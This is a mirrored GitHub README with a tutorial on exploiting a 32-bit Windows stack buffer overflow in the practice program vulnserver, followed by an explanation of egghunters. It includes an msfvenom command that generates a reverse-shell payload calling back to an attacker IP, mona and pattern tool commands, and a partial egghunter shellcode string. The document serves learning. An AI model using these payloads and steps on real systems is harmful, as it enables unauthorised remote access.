Giter Site home page Giter Site logo

bufferoverflows's Introduction

INTRODUCTION TO BUFFER OVERFLOWS

  • In this writeup, I will provide a walkthrough of a 32-bit windows buffer overflow
  • Topics to cover
    1. Anatomy of the stack
    2. Fuzzing
    3. Finding the offset
    4. Overwriting the EIP
    5. Finding the bad characters
    6. Finding the right module
    7. Generating shellcode
    8. Gaining root

ANATOMY OF THE STACK

  • When we look into the memory stack, we will find 4 main components

    1. Extended Stack Pointer (ESP)
    2. Buffer Space
    3. Extender Base Pointer (EBP)
    4. Extended Instruction Pointer (EIP) / Return address
  • Buffer space is used as a storage area for memory in some coding languages. With proper input sanitation, information placed into the buffer space should never travel outside of the buffer space itself.

  • Information placed into the buffer space should stop at the EBP

  • In a buffer overflow, information escapes the buffer space and reaches the EIP. If an attacker can gain control of the EIP, he or she can use the pointer to point malicioud code and gain a reverse shell.

FUZZING

  • Fuzzing allows us to send bytes of data to a vulnerable program in growing iteration in hopes of overflowing the bufferspace and overwriting the EIP. We can use a simple python fuzzing script
  • Attach our debugger to the vulnerable program and observer how all the registers get overwritten. It took approximately 3000 bytes to crash the program
  • What we need to do next is to figure out exactly where the EIP is located and attempt to control it.

FINDING THE OFFSET

  • So now that we know we can overwrite the EIP and it occurred between 1 and 3000 bytes, we can use ruby tools caled pattern create and offset to find the exact location of the overwrite. Pattern create allows us to generate a cyclic amount of bytes based no the number of bytes we specify.
  • We can send those bytes to vulnserver to find out where exactly we overwrote the EIP. Pattern offset will help us determine that soon.
  • pattern_create.rb -l 3000 where l is for length and 3000 is for bytes.
  • we modify our code to include all of the bytes that were generated by pattern create.
  • We send the bytes to vulnserver and notice we still overwrite the program. This time the EIP value indicates part of our code we generated with pattern create.
  • We can use pattern offset to find out where this pattern occurs
  • pattern_offset.rb -l 3000 -q 386F4337 We get a match at 2003 bytes. We can now try to control the EIP

OVERWRITING THE EIP

  • Now that we know the EIP is after 2003 bytes, we can modify our code. We can add 4B's and 2003 A's in an attempt to reach and overwrite the EIP. The EIP is now 42424242. Remember the EIP has a length of 4 bytes so if we overwrite it successfully we will be in full control and on our way to root.
  • So now we need to do some research to know what byte characters it is friendly with in order to finalize our exploit

FINDING BAD CHARACTERS

  • Certain byte characters can cause issues in the development of exploits. We must run every byte through the vulnserver program to see if any characters cause issues.
  • By default, the null byte(x00) is always considered a bad character as it will truncate shellcode when executed.
  • We can add badchars in our code and send it over to vulnserver
  • After sending this code, right click on ESP register and select "Follow in Dump"
  • Check the hex dump, and if a bad character were present, it would seem out of place. In our case we don't find any

FINDING THE RIGHT MODULE

  • This means we need to find some part of vulnserver that does not have any sort of memory protections such as DEP, ASLR, SEH.
  • After copying mona modules to vulnserver we can use it to find a jmp esp opcode that EIP will point to to jump to our malicious shellcode that we will later inject !mona jmp -r esp will get us the module to use. Copy the address of the opcode and add it to our python code to overwrite our EIP.
  • The address is entered backwards to conform to little Endian. we can use struct module to pack the bytes in python
  • We can set a breakpoint at that address and send the exploit. Immunity should trigger the breakpoint

GENERATING THE SHELLCODE

  • We can use msfvenom to generate malicious shellcode which will tell the victim machine to talk back to our machine. msfvenom -p windows/shell_reverse_tcp LHOST=your.Kali.IP.address LPORT=4444 EXITFUNC=thread -f c -a x86 –platform windows -b “\\x00”

-p is for payload. we are using a non-staged windows reverse shell payload LHOST is the attacker IP, LPORT the attacker port EXITFUNC=thread adds stability to our payload -f is for file type, here we generate a c file type -a is for architecture, we are attacking a x86 -platform is for OS type- windows machine -b is for bad characters, our only one is x00

We add this to our exploit. we can also place a NOP padding (x90) to avoid interference with our return address

GAINING ROOT

  • We set up a listener, we can use msfconsole or nc to listen on the port we specified and then send the exploit

EGG HUNTER

  • In classic stack based BO, the buffer size is big enough to hold the shellcode, but what will happen if there isn't enough consecutive memory space available for the shellcode to fit in after overwrite happens.
  • An egghunter is a relatively small piece of code that can search the virtual memory space safely(avoiding access violations) to identify a specific string, which is then used to indicate where the start of the exploit shellcode resides

example: If the shellcode were positioned in a much earlier part of the input buffer payload, but somewhere too far away to access via an available JMP or CALL instruction. Using an egghunter is considerably more beneficial in scenarios where there are protections such as ASLR, where virtual memory is randomised.

HOW THE EGGHUNTER WORKS

  • Essnetially, the egghunter code will initially set the EBX register to the start of the virtual memory address space(by going to the end of the address page and incrememnting EBX by 1) and then gradually work its way through whilst allowing for error handling.
  • The code will compare the value of the virtual memory address to that of the egg's string. Once this is found once, the code loops and continues till it finds the second value.
  • In summary, what you need to know is that the egg hunter contains a user defined 4-byte tag, it will then search through memory until it finds this tag twice repeated (if the tag is "1234" it will look for "12341234"). When it finds the tag it will redirect execution flow to just after the tag and so to our shellcode.
  • It then sets a JMP to the memory address immediately following the egg

NTDISPLAYSTRING

  • Ntdisplaystring egg hunter shellcode uses only 32 bytes of memory space. This is what we will be discussing here.

  • The actual system call that was used to accomplish the egg hunting operation is the NtDisplayString system call

  • This system call is used to display text to the blue screen. In this implementation a system call is used to validate an address range.

  • For the purposes of an egg hunter, it is abused due to the fact that its only argument is a pointer that is read from and not written to, thus making it a most desirable choice.

  • A disadvantage for this payload is that it relies on the system call number for NtDisplayString not changing. In all versions of windows it remains 0x43 but it is entirely possible that the number may change in future.

  • If we construct NtDisplayString in hex it would look like this

  • Here "\x90\x50\x90\x50" is replaced by the custom tag w00t. So the resulting code looks like this: "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3

  • As you can see from above, the NtdisplayString code is used as a search mechanism to search for the custom tag wootwoot in memory and start the execution of shellcode

  • In the Ntdisplaystring implementation, the edx register is used as the register that holds the pointer that is to be validated throughout the course of the search operation.

  • The return value of the sysetm call is compared against 0x5 which is the low byte of STATUS ACCESS VIOLATION, or 0xc0000005

bufferoverflows's People

Contributors

trevorsaudi avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.